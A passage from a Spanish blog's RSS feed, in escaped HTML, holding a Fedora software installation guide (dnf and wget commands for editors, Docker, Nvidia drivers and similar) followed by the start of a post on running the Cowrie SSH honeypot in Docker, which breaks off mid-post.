&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install pandoc texstudio texlive texlive texlive-latex texlive-xetex texlive-xetex-def &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-collection-latexrecommended texlive-collection-xetex texlive-collection-latex
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También serán necesarias un conjunto de librerías de Latex:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install texlive-matlab-prettifier texlive-apacite texlive-breakcites texlive-xpatch &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-multirow texlive-tikzpagenodes texlive-tikzmark texlive-pgfplots texlive-glossaries-spanish &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-anyfontsize texlive-framed texlive-mdframed texlive-todonotes texlive-glossaries &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-IEEEtran.noarch texlive-textpos
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark10">Spotify&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo&lt;span class="o">=&lt;/span>http://negativo17.org/repos/fedora-spotify.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install spotify-client
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark11">Atom&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;atom.x86_64.rpm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://atom.io/download/rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark12">Visual Studio Code&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sh -c &lt;span class="s1">&amp;#39;echo -e &amp;#34;[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc&amp;#34; &amp;gt; /etc/yum.repos.d/vscode.repo&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dnf check-update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install code
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark13">Skype&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://go.skype.com/skypeforlinux-64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark14">Teamviewer&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download.teamviewer.com/download/linux/teamviewer.x86_64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark15">Dropbox&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://www.dropbox.com/download?dl&lt;span class="o">=&lt;/span>packages/fedora/nautilus-dropbox-2015.10.28-1.fedora.x86_64.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install python-gpgme
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark16">Gitkraken&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;gitkraken-amd64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark17">Pycharm Community&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;pycharm-community-2017.1.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://download.jetbrains.com/python/pycharm-community-2017.1.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark18">Telegram&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;telegram.tar.xz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://tdesktop.com/linux
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark19">Eclipse&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;eclipse-inst-linux64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> http://mirror.ibcp.fr/pub/eclipse//oomph/epp/neon/R2a/eclipse-inst-linux64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark27">Docker y Docker-Compose &lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install dnf-plugins-core
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --add-repo &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> https://download.docker.com/linux/fedora/docker-ce.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install docker-ce docker-ce-cli containerd.io
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo curl -L &lt;span class="s2">&amp;#34;https://github.com/docker/compose/releases/download/1.24.0/docker-compose-&lt;/span>&lt;span class="k">$(&lt;/span>uname -s&lt;span class="k">)&lt;/span>&lt;span class="s2">-&lt;/span>&lt;span class="k">$(&lt;/span>uname -m&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> -o /usr/local/bin/docker-compose
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod +x /usr/local/bin/docker-compose
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://docs.docker.com/install/linux/docker-ce/fedora/" target="_blank" rel="noopener"
>docker&lt;/a> y &lt;a class="link" href="https://docs.docker.com/compose/install/" target="_blank" rel="noopener"
>docker-compose&lt;/a>&lt;/p>
&lt;h2 id="mark21">Google Chrome&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.google.com/chrome/browser/desktop/index.html" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark22">Google Music&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.googleplaymusicdesktopplayer.com/#!" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark23">system-config-samba&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://rpmfind.net/linux/rpm2html/search.php?query=system-config-samba" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark24">Instalar drivers Nvidia&lt;/h2>
&lt;p>Opcion recomendable&lt;/p>
&lt;p>Primero instalamos los repositorios que necesitamos &lt;a class="link" href="https://rpmfusion.org/Configuration" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#RPM Fusion free for Fedora 30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#RPM Fusion nonfree for Fedora 30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Enable access to both the free and the nonfree repository&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez instalados instalamos los drivers de nvidia &lt;a class="link" href="https://rpmfusion.org/Howto/NVIDIA#Legacy_GeForce_6.2F7" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install xorg-x11-drv-nvidia akmod-nvidia
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install xorg-x11-drv-nvidia-cuda &lt;span class="c1">#optional for cuda/nvdec/nvenc support&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf update -y
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Opcion &lt;strong>no recomendable&lt;/strong> pero que funciona:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">https://www.if-not-true-then-false.com/2015/fedora-nvidia-guide/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente: &lt;a class="link" href="http://unix.stackexchange.com/questions/251629/how-to-install-nvidia-proprietary-drivers-on-fedora-23" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark25">Peek para grabar la pantalla y crear gif/mp4&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo http://download.opensuse.org/repositories/home:/Bajoja/Fedora_29/home:Bajoja.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install peek
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark26">Sublime Text 3 y Sublime Merge&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm -v --import https://download.sublimetext.com/sublimehq-rpm-pub.gpg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://download.sublimetext.com/rpm/stable/x86_64/sublime-text.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install sublime-text sublime-merge
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark27">OpenRazer y Polychromatic&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Due to a bug in Fedora, the wrong kernel headers (kernel-debug-devel) may be installed and cause OpenRazer to fail installation. &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install kernel-devel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://download.opensuse.org/repositories/hardware:razer/Fedora_30/hardware:razer.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install openrazer-meta polychromatic
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># reboot&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Url &lt;a class="link" href="https://github.com/phw/peek#fedora" target="_blank" rel="noopener"
>gitgub&lt;/a>&lt;/p></description></item><item><title>Configuración Cowrie</title><link>https://www.procamora.com/p/configuracion-cowrie/</link><pubDate>Mon, 29 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/configuracion-cowrie/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Configuración Cowrie" />&lt;h1 id="requisitos">Requisitos&lt;/h1>
&lt;p>Tenemos que tener instalado docker&lt;/p>
&lt;h1 id="instalación-de-la-imagen-y-creación-del-contenedor">Instalación de la imagen y creación del contenedor&lt;/h1>
&lt;p>Para instalar la imagen y crear el contenedor usaremos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker pull ouspg/cowrie
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -dit -p 2222:2222 -p 2223:2223 -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/dl:/home/cowrie/cowrie/dl -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/log:/home/cowrie/cowrie/log ouspg/cowrie
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para obtener una consola del contenedor en ejecución usaremos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker &lt;span class="nb">exec&lt;/span> -it &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span> sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>vim no esta instalado, solo esta vi, todos los ficheros están en el directorio local&lt;/p>
&lt;/blockquote>
&lt;p>Si tenemos parada la maquina y queremos volver a ejecutarla&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker start &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="configuración-de-log-en-la-base-de-datos-sqlite">Configuración de log en la base de datos sqlite&lt;/h1>
&lt;p>Para guardar los log en una base de datos sqlite necesitamos tenemos que conectarnos al contenedor y descomentar las lineas 348 y 348 aproximadamente del fichero &lt;em>cowrie.cfg&lt;/em>. Hay que acceder el contendedor para hacer este paso&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>output_sqlite&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">db_file&lt;/span> &lt;span class="o">=&lt;/span> log/cowrie.db &lt;span class="c1"># Cuidado, por defecto lo guarda en el directorio local no el log&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez hecho eso, se te creara la base de datos vacía en el directorio que le hayas indicado y tendrás que cargar las tablas que necesitaremos, esto lo haremos desde nuestra maquina física ya que tenemos linkeado el directorio con el volumen del contenedor, ejecutando el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
